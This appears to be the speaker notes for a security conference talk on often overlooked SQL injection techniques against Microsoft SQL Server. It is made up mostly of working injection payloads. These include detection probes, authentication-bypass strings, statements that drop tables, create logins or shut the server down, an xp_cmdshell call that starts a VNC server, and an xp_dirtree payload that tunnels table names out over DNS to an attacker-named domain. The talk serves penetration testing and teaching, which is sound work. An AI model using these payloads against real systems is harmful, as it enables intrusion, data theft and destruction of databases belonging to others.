

SLIDE 1 – Overlooked SQL Injection

Introductions

Hello my name is Paul Battista, I am an independent security researcher. I originally started putting this talk together with Matt Fisher of SPI Dynamics, now HP who is sorry he could not make it out to speak.

This talk is a short summary of often overlooked SQL injection attacks and techniques for discovering if applications are vulnerable. It is a collection of tips and tricks which break down SQL injection into several categories. If you came to see the latest zero day this may not be the talk for you, however if you want to add a few more techniques to your SQL injection utility belt then you might want to stick around.

SLIDE 2 – Comic Relief

Before we get into the content, here is a little comic relief which I thought was pretty funny from couple weeks ago on xkcd.com.

SLIDE 3 - Outline

Due to time constraints I will **not go into SQL injection basics**. I am going to assume you have a basic knowledge of SQL injection. If not, check out Matt Fisher's talk from last year and some of the resources at the end of this presentation. Also due to time constraints you will notice that I focused primarily on **MSSQL**, although many of the attacks can be applied to other database types. We will cover the content as three separate areas; SQL injection tests against non-string values such as INTs, string values and then applying some of them into attacks. I will break each one of them down to common, overlooked, and alphanumeric only techniques. The reason we used this breakdown will become more apparent as we dive right into the content.

SLIDE 4 – Common Tests on INT's

So that brings us to our first category of Common techniques to discover if non-string for example integer values are vulnerable to SQL injection. These are the techniques that have become the de-facto standard for testing applications. You use them, my grandma uses them, the script kiddies use them. You will see them implemented in automated scanners, performed manually, and even in text books describing SQL injection. They are very valuable checks to perform and will discover lots of SQL injection vulnerabilities. We will not spend much time on these because most of you already know them.

For these examples we will assume that normal input value is just 2.

?errorcode=2

?errorcode=2'

Is designed to create an error condition by introducing a string delimiter into an integer value. We would hope this returns an error that could be used in further attack.

?errorcode=2 or 1=1

Is designed to create an "or true" logic that may return all values instead of just those associated with 2.

?errorcode=2 and 2=2

Is designed to create an “and true” logic that may return the same intended results of the application. If we get the same results as just “2” there is a high likelihood of SQL injection.

Then if we put:

?errorcode=2 and 2=1

Translated as “and false,” if this value returns nothing then it confirms our SQL injection vulnerability.

?errorcode=2;--

Is designed to enter SQL relevant characters and still get a valid response by ending the query and commenting out any remaining data. This can be confirmed even more by entering something such as:

?errorcode=2;--GARBAGE DATA

?errorcode=2; waitfor DELAY '00:00:20'

Is one of my favorite checks. In this instance it tells the database to wait 20 seconds before returning results. When testing a web application you will actually see the status bar in the web browser pause for the 20 seconds which is a sure indication of a SQL injection vulnerability.

SLIDE 5 – Overlooked Tests on INT's

Our next category is overlooked check on integers to determine if SQL injection is present. They are very simple but powerful techniques.

?errorcode=(2)

was given to me by Matt Fisher. If it returns the same value as 2 by itself there is a good indication of a SQL injection vulnerability. I like this check a lot because it is independent of any server side code concerns. For example if the value of 2 falls between other parentheses we are not aware of, by entering our own does not change the logic of the evaluation.

?errorcode=1+1 (substitute + with %2b)

Another check to see if user input is affecting logic and being evaluated is to insert a mathematical function such as addition. In this case the 1+1 may be evaluated as 2 and if we get the expected result back we can assume there is a SQL injection vulnerability

We can even put the two techniques together and nest the 1+1 in parentheses:

?errorcode=(1+1)

The next trick I like to do is to play with SQL relevant wild cards such as % and _. Sometimes it is as simple as just entering % and waiting for valid results.

?errorcode=%

?errorcode='2'

You can also nest your integer input in a string and it may be converted back to an integer which indicates a vulnerability.

You can take this one step further and use some wild card logic by nesting possible values inside of brackets such as:

?errorcode='[0123]'

You can also use a range such as 0-9

SLIDE 6 – Alphanumeric Tests on INT's

So what do you do as a tester when you have a very restrictive black list. Lets say that only alpha and numeric characters are allowed. Well if the database is MS-SQL you might be in luck. In many cases MS-SQL will interpret the space after 2 as the end of the line where traditionally a semicolon is required. We can then append commands or statements after the integer to be executed.

For example just by putting a simple RETURN command after the integer value can indicate a vulnerability if valid results are returned.

```
?errorcode=2 RETURN
```

A vulnerability can be confirmed by intentionally misspelling RETURN and expecting a different result

```
?errorcode=2 RETRUN
```

A simple statement such as SELECT user can be substituted for RETURN. Again if we have valid normal expected results this may be an indication of SQL injection. We may not expect the results of "Select user" to be returned but if successful the expected results from the query with 2 will be returned.

```
?errorcode=2 SELECT user
```

We can even nest the select statement inside of a transactional BEGIN and END keywords for further confirmation and flexibility.

```
?errorcode=2 BEGIN SELECT user END
```

```
?errorcode=2 or 1 like 1
```

Once again we are doing an "or true," although this time we are using the "like" comparison instead of the "=" sign. We can use this same technique for the other variants such as "and 1 like 1" or "and 1 like 2"

```
?errorcode=2 and 1 like 1
```

```
?errorcode=2 and 1 like 2
```

SLIDE 7 – Common Tests on 'Strings'

We will now switch gears and talk about strings. As I am sure most of you know, strings can be more of a challenge to inject into than non-string values. Hopefully you will find some of the following techniques helpful. You will notice that many of the tests are very similar as those against integers with the introduction of a single tick.

We will assume that normal intended input is

```
?errormsg=error
```

```
?errormsg=error'
```

Just like before, this first techniques is designed to generate an error message by introducing an extra string delimiter into the SQL query.

```
?errormsg=error'--
```

In this next one we attempt to make it a proper query once again by commenting out the developers

single tick that would be appended.

?errmsg=error' and '2'='2

As we saw before we add an “and true” logic. Notice how we leave off the last single tick to balance the equation when the developers single tick is added.

Optionally we can comment it out as well

?errmsg=error' and '2'='2'--

?errmsg=error' waitfor DELAY '00:00:20

We can also use the waitfor delay attack we saw before, once again leaving off the final single tick.

SLIDE 8 – Overlooked Tests on ‘Strings’

These next couple techniques you may not have seen before. They are very simple checks to determine if a SQL injection vulnerability is present.

In this first technique we split the string of “error” into two and concatenate it back together. If we get the same result as the original we have a probable vulnerability.

?errmsg=erro'+r

We can take this a step further and include other functions as well. In this one we take the string of “error message” and substitute the space with a SQL function for space.

?errmsg=error'+space(1)+'message

In the next one I include a substring function to define one part of the string. Notice how I end with the 'r and leave off the final single tick for balance.

?errmsg=err'+substring('error',4,1)+'r

Another often overlooked strategy is to use SQL relevant wild cards. A benefit of this is, most times you can test without using a single tick

For example one can just inject % as a wild card and if all database results are returned then there is a high likelihood of a vulnerability

?errmsg=%

A percent can also be incorporated into an existing string. If relevant results are returned this could be a strong indication of a vulnerability as well

?errmsg=erro%

You can use wild cards to specify a set or range of characters. If valid and invalid sets work respectively, this is a strong indication of a vulnerability.

?errmsg=erro[a-z]

?errmsg=erro[abc]

SLIDE 9 - Alphanumeric Tests on ‘Strings’

Ok, I tried hard and could not come up with much here. The only thing I noticed is you could generate errors messages or different responses from the database by different size strings. For example a string

7807 characters long creates a error in SQL Server 2005
?errmsg=AAAAAA... (7807 Characters)

SLIDE 10 - Common Attacks

So now I will switch gears and briefly give some attack examples. Here are some common attacks or methods of attacks that I will compare to some often overlooked attacks and then some alpha numeric attacks. These are just a few examples of the starts of attacks, as you all know there are an infinite number of more out there.

Notice this drop table attack uses a semicolon to split out the two statements.
?errorcode=2; DROP TABLE tablename

?errorcode=2 UNION SELECT...

Here we have our very popular Union attack where we combine the results of two queries. In some instances this may end up being an Alpha Numeric attack if we are only selected one column and do not require to split them out with commas.

?errorcode=2; if (SELECT user)='dbo' waitfor DELAY '00:00:20'

This demonstrates the common attack of using an if statement with a waitfor delay to enumerate information given a blind SQL injection vulnerability.

?errorcode=2 and (substring('apple',1,1))=('a')

This can even be combined with a substring function to apply a more surgical approach to blind SQL injection.

There is a whole suite of authentication bypass attack such as these next few

Username:'or '2'='2

Password:'or '2'='2

Username: admin'--

This one we may attempt to comment out the remaining password check that could occur.

SLIDE 11 – Overlooked Attacks

In this first overlooked attack we extend that first overlooked test provided by Matt where we tested a 2 in parenthesis. This time we just nest our desired information inside of parenthesis assuming that an implicit conversion will be made to cause an error. For example this attack may result in an error such as “Syntax error converting the nvarchar value 'accounts' to a column of data type int.”

?errorcode=(SELECT TOP 1 name FROM sysobjects WHERE xtype='u')

?errorcode=2 exec master.dbo.xp_cmdshell vncserver (does not require semicolon or quotes if single command)

I included this one to show how one could exec the xp_cmdshell stored procedure or many other stored procedure calls even without a semicolon and sometimes single ticks, or quotation marks.

These next couple overlooked attacks are from **Patrik Karlsson** talk at Defcon on **Out of Bound**

channels

One method to accelerate blind SQL injection is to use OPENROWSET to update your own database in order to enumerate information.

```
?errorcode=2 INSERT INTO OPENROWSET(...)
```

The last attack (don't tell Dan Kaminski) uses DNS to tunnel database information.

```
?errorcode=22; exec(N' declare @s varchar(200); select @s="\\"+name  
+ "-" + ".AttackersDomain.com\file"from sysobjects; exec master.dbo.xp_dirtree @s')
```

SLIDE 12 - Alphanumeric Attacks

Nothing new about this union select attack. It will only remain alphanumeric if only one column is selected.

```
?errorcode=2 UNION SELECT name FROM sysobjects
```

This attack will create a new login.

```
?errorcode=2 CREATE LOGIN attacker
```

This attack will create a Database.

```
?errorcode=2 CREATE DATABASE attackersDatabase
```

This attack will create a new table.

```
?errorcode=2 SELECT name INTO attackerstable FROM sysobjects
```

This attack will create a new column.

```
?errorcode=2 ALTER TABLE errormessages ADD attackerscolumn INT
```

This attack will delete a table.

```
?errorcode=2 DROP TABLE tablename
```

This attack will shutdown the database server

```
?errorcode=2 shutdown
```

In error bases SQL injection this will disclose column names.

```
?errorcode=2 HAVING 1 LIKE 1 (Discloses column name)
```

This will disclose the number of columns even in most blind SQL vulnerabilities.

```
?errorcode=2 order by 4 (this helps to disclose the number of columns)
```

This technique can be used to enumerate database names

```
?errorcode=2 USE databasename
```

```
?errorcode=2 USE invaliddatabasename
```

This technique can sometimes be used to enumerate table names.

```
?errorcode=2 SELECT null from creditcards
```

```
?errorcode=2 SELECT null from nonexistenttable
```

This technique can be used to enumerate column names.

?errorcode=2 select cardnumber from creditcards
?errorcode=2 select nonexistentcolumn from creditcards

This is an additional technique to enumerate columns in the current table
?errorcode=2 or errorcode like 1
?errorcode=2 or nonexistentcolumn like 1

This would be the start of enumeration of data using only alphanumeric characters.
?errorcode=2 or errorcode between 0 and 99999999

SLIDE 13 – Common Resources

These are some common resources that many of you probably know about. If you are interested in preventing against the attacks discussed check out the last resource on Blind SQL injection by SPI

<http://www.ngssoftware.com/research/papers/sqlinference.pdf>
<http://www.0x000000.com/?i=14&bin=1110>
<http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/>
<http://hackers.org/sqlinjection/>
http://www.spidynamics.com/assets/documents/Blind_SQLInjection.pdf

SLIDE 14 – Overlooked Resources

These next couple resources you might have overlooked.

SQLzoo.net allows you to select from a collection of database engines. I use it often to verify my SQL syntax before I send the actual injection.
SQLzoo.net

Obviously using MSDN to fully understand the flexibility of the SQL language can be very powerful.
msdn2.microsoft.com

Dan Kuykendall podcast Mightyseek on web application security can be a great introduction if you are just getting into this stuff.
Hackme.mightyseek.com

This last reference is a link to Patrik Karlsson's talk at Defcon on Out Of Bound tunneling.
<http://www.inspectit.se/dc15.html>

SLIDE 15 – Alpha Numeric Resources

To keep with the pattern, here are some alpha numeric resources....

SLIDE 16 – Questions and Contact Info

Paul Battista
SecurityExperiment.com
Paul@SecurityExperiment.com